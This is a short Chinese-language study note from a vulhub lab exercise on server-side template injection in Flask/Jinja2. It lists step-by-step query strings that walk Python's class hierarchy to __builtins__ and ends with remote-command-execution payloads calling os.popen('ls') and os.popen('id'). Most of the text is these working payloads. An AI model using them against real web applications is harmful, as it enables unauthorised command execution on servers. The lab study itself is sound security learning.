注入大致流程

  1. 1. 检测漏洞,寻找注入点
  2. 2.查询基本类
  3. 3.查找子类
  4. 4.找到子类中可以读取文件或命令执行的模块

搭建的是vulhub的ssti靶场

查询注入点

SSTI-Study - 图1

查看基本类

  1. ?name={{''.__class__.__base__}}
  2. ?name={{''.__class__.__mro__}}
  3. ?name={{''.__class__.__mro__[0]}}

SSTI-Study - 图2

SSTI-Study - 图3

SSTI-Study - 图4

查看子类

  1. 查看所有子类
  2. ?name={{''.__class__.__base__.subclasses__()}}
  3. ?name={{''.__class__.__mro__[1].__subclasses__()}}
  4. 查看某一个子类
  5. ?name={{''.__class__.__base__.subclasses__()[166]}}
  6. ?name={{''.__class__.__mro__[1].__subclasses__()[166]}}

SSTI-Study - 图5

SSTI-Study - 图6

查看166号子类的模板

  1. ?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__}}
  2. ?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

SSTI-Study - 图7

查看166号子类的模板中的函数

  1. ?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']}}
  2. ?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']}}

SSTI-Study - 图8

利用函数构造payload

  1. ?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

SSTI-Study - 图9

理解不一定对

常见的payload

  1. ?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
  2. ?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

后面还需要熟练掌握各种绕过方法